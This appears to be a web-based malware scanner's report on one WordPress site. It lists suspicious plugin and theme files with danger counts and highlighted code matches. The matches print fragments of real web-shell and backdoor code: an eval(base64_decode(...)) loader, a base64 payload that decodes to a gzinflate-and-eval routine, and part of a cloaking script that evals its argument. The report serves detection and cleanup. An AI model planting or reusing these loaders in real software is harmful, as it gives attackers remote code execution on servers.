</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_338").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/woo-remove-widget-woocommerce/adminer.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 465.43 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-24 23:52:05</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-24 23:52:05</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 4</span><br><table id="file_339" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1688</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">LAVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 10</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ini_get</span><span style="color: #007700">(</span><span style="color: #DD0000">"filter.default_flags"</span><span style="color: #007700">)){foreach</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 471b95ee <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1483</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 471b95ee)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">suhosin</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1479</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_339").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wp-cache-optimizer/landing/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 11.14 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-19 15:05:43</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-19 15:05:43</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_340" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function eval <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">func_get_arg</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">));}function </span><span style="color: #0000BB">adspect</span><span style="color: #007700">(</span><span style="color: #0000BB">$sid</span><span style="color: #007700">){</span><span style="color: #0000BB">header</span><span style="color: #007700">(</span><span style="color: #DD0000">'Cache-Control: no-store'</span><span style="color: #007700">);if(!</span><span style="color: #0000BB">function_exists</span><span style="color: #007700">(</span><span style="color: #DD0000">'curl_init'</span><span style="color: #007700">)){</span><span style="color: #0000BB">adspect_exit</span><span style="color: #007700">(</span><span style="color: #0000BB">500</span><span style="color: #007700">,</span><span style="color: #DD0000">'php-curl extension is missing'</span><span style="color: #007700">);}if(!</span><span style="color: #0000BB">function_exists</span><span style="color: #007700">(</span><span style="color: #DD0000">'json_encode'</span><span style="color: #007700">)||!</span><span style="color: #0000BB">function_exists</span><span style="color: #007700">(</span><span style="color: #DD0000">'json_decode'</span><span style="color: #007700">)){</span><span style="color: #0000BB">adspect_exit</span><span style="color: #007700">(</span><span style="color: #0000BB">500</span><span style="color: #007700">,</span><span style="color: #DD0000">'php-json extension is missing'</span><span style="color: #007700">);}</span><span style="color: #0000BB">$param</span><span style="color: #007700">=</span><span style="color: #DD0000">'_'</span><span style="color: #007700">;</span><span style="color: #0000BB">$key</span><span style="color: #007700">=</span><span style="color: #0000BB">hex2bin</span><span style="color: #007700">(</span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">'-'</span><span style="color: #007700">,</span><span style="color: #DD0000">''</span><span style="color: #007700">,</span><span style="color: #0000BB">$sid</span><span style="color: #007700">));if(</span><span style="color: #0000BB">$key</span><span style="color: #007700">===</span><span style="color: #0000BB">false</span><span style="color: #007700">){</span><span style="color: #0000BB">adspect_exit</span><span style="color: #007700">(</span><span style="color: #0000BB">500</span><span style="color: #007700">,</span><span style="color: #DD0000">'Invalid stream ID'</span><span style="color: #007700">);}if(</span><span style="color: #0000BB">array_key_exists</span><span style="color: #007700">(</span><span style="color: #0000BB">$param</span><span style="color: #007700">,</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">)&&</span><span style="color: #0000BB">strpos</span><span style="color: #007700">(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #0000BB">$param</span><span style="color: #007700">],</span><span style="color: #DD0000">'#'</span><span style="color: #007700">)!==</span><span style="color: #0000BB">false</span><span style="color: #007700">){list(</span><span style="color: #0000BB">$url</span><span style="color: #007700">,</span><span style="color: #0000BB">$host</span><span style="color: #007700">)=</span><span style="color: #0000BB">explode</span><span style="color: #007700">(</span><span style="color: #DD0000">'#'</span><span style="color: #007700">,</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #0000BB">$par</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">func_get_arg</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">));}function </span><span style="color: #0000BB">adspect</span><span style="color: #007700">(</span><span style="color: #0000BB">$sid</span><span style="color: #007700">){</span><span style="color: #0000BB">header</span><span style="color: #007700">(</span><span style="color: #DD0000">'Cache-Control: no-store'</span><span style="color: #007700">);if(!</span><span style="color: #0000BB">function_exists</span><span style="color: #007700">(</span><span style="color: #DD0000">'curl_init'</span><span style="color: #007700">)){</span><span style="color: #0000BB">adspect_exit</span><span style="color: #007700">(</span><span style="color: #0000BB">500</span><span style="color: #007700">,</span><span style="color: #DD0000">'php-curl extension is missing'</span><span style="color: #007700">);}if(!</span><span style="color: #0000BB">function_exists</span><span style="color: #007700">(</span><span style="color: #DD0000">'json_encode'</span><span style="color: #007700">)||!</span><span style="color: #0000BB">function_exists</span><span style="color: #007700">(</span><span style="color: #DD0000">'json_decode'</span><span style="color: #007700">)){</span><span style="color: #0000BB">adspect_exit</span><span style="color: #007700">(</span><span style="color: #0000BB">500</span><span style="color: #007700">,</span><span style="color: #DD0000">'php-json extension is missing'</span><span style="color: #007700">);}</span><span style="color: #0000BB">$param</span><span style="color: #007700">=</span><span style="color: #DD0000">'_'</span><span style="color: #007700">;</span><span style="color: #0000BB">$key</span><span style="color: #007700">=</span><span style="color: #0000BB">hex2bin</span><span style="color: #007700">(</span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">'-'</span><span style="color: #007700">,</span><span style="color: #DD0000">''</span><span style="color: #007700">,</span><span style="color: #0000BB">$sid</span><span style="color: #007700">));if(</span><span style="color: #0000BB">$key</span><span style="color: #007700">===</span><span style="color: #0000BB">false</span><span style="color: #007700">){</span><span style="color: #0000BB">adspect_exit</span><span style="color: #007700">(</span><span style="color: #0000BB">500</span><span style="color: #007700">,</span><span style="color: #DD0000">'Invalid stream ID'</span><span style="color: #007700">);}if(</span><span style="color: #0000BB">array_key_exists</span><span style="color: #007700">(</span><span style="color: #0000BB">$param</span><span style="color: #007700">,</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">)&&</span><span style="color: #0000BB">strpos</span><span style="color: #007700">(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #0000BB">$param</span><span style="color: #007700">],</span><span style="color: #DD0000">'#'</span><span style="color: #007700">)!==</span><span style="color: #0000BB">false</span><span style="color: #007700">){list(</span><span style="color: #0000BB">$url</span><span style="color: #007700">,</span><span style="color: #0000BB">$host</span><span style="color: #007700">)=</span><span style="color: #0000BB">explode</span><span style="color: #007700">(</span><span style="color: #DD0000">'#'</span><span style="color: #007700">,</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #0000BB">$par</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_340").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wdplr/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.19 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 18:07:15</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 18:07:15</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_341" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 446</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_341").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/widget-area-1769473695/includes/settings/custom-file-5-1769473695.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.04 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:28:38</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:28:38</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_342" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 109</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 56</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 7</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_342").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/widget-area-1769473695/lndex.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:28:38</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:28:38</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_343" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_343").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/teesa/alfa7.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 174.92 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-17 14:52:06</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-17 14:52:06</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_344" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"jP1XzuROn6UJ3vcq/pNIIDOL3aBWSNQMnFord8pC4QO11pqN2kJvYS5ne72EZmR1T03VdCLzIgLv625OM5rZ75znMJwM8D/8Nft3wfLmlv7SyGI0Lyx8Llt4bzSborL4i+90XvHj/jjcKBMPX+WKtbaz5mQfXkufzCjc7bx1825Epn0uI4nbj3DLoq/PXaPFTWk/91//AfyfwP/wVzju/7Dkf7V119VD+Vef/xWXcT389b//v/+3/89fn/4v+a91e9/7633pHvflryqPs7/+X//17fezf+1rnv21jX91dVltfz6+T//1TWM8/3zir7Xa/+X1bDyHv/6X/+Wv79jlR73WSZf/GUKxD+lWj8Nff/tb5ONNgjhdWv7j36//9L8u+bYvw1/Op2qec/rz0j//l//f1qL3f9M6KDTOMH8p0zDlf/3I34uayXy073/6B475m/HR+X/4z3/9x7/+26tspfCrkixfU+yWf/jP/1wX/7gte/5P/2s...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 eval_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 13</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RIny</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_344").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/teesa/init.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 6.15 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-17 14:52:06</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-17 14:52:06</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 3</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_345" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"7Tvfb9tG0s8t0D8itBpKX2RZipOmlUTmbMfJGY3r1Hbuu55jEBABCjiTBLMvkurqz9o/aEGADyT4wAc+LQzczC5JkRRly7nr9+Oubh1zd2dmZ2dmZ2aHy2++5oQwYhDuMRJG7rTd74y++fpPkRsZAQ/bKvNDzw+NiW9ZnMC42qU1iCQKPDtdGIJQkI8Xww53GFkYduREIQyq3704VREg5mnCSVs9Ym7I3XD3cuHxIQ35PNyLQ8ceUTNOCVDQPl6+3f1eoLRCRjWqxul8yl326k9TJ43snskcFQe9NIxhWInD0Bvu7Sm0R1vGxfH5X47Pr1T51/jp4PRYva6MnB///PH44tL4eH6iXiMdhwdBOuVI6uP5+yGVhH+jJx/oQZIQGKXDK6rUiJyeXR4bB2/enAvyCr1WgBby1wauu1Q554Fvh/Q9m045oac+EOzPX/hKl+YTAtA2ZIUg5gtXU0PfTS3OgxiXH1ntKECBt4wPZxeXV6qXBoF...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"JG5hdiA9IGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCRTSVNURU1JVF9DT01fRU5DKSk7DQoJCQkkc3RyID0gWyf1Jywn6ycsJ+MnLCf7Jywn4ScsJ/EnLCfmJywn7ScsJ/0nLCfqJywntSddOw0KCQkJJHJwbGMgPVsnYScsJ2knLCd1JywnZScsJ28nLCdkJywncycsJ2gnLCd2JywndCcsJyAnXTsNCgkJICAgICRuYXYgPSBzdHJfcmVwbGFjZSgkc3RyLCRycGxjLCRuYXYpOw0KCQkJZXZhbCgkbmF2KTs="</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$rand</span><span style="color: #007700">)</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$rand</span><span style="color: #007700">)</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$rand</span><span style="color: #007700">))</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 34b7e999 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 34b7e999)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">d6aW5mbGF0Z</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmVwbGFjZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VJAg</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_345").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/post_1769473575/template-parts/front_page_template_1769473575.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.04 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:26:37</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:26:37</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_346" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 109</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 56</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 7</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_346").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/post_1769473575/lndex.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:26:37</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:26:37</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_347" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
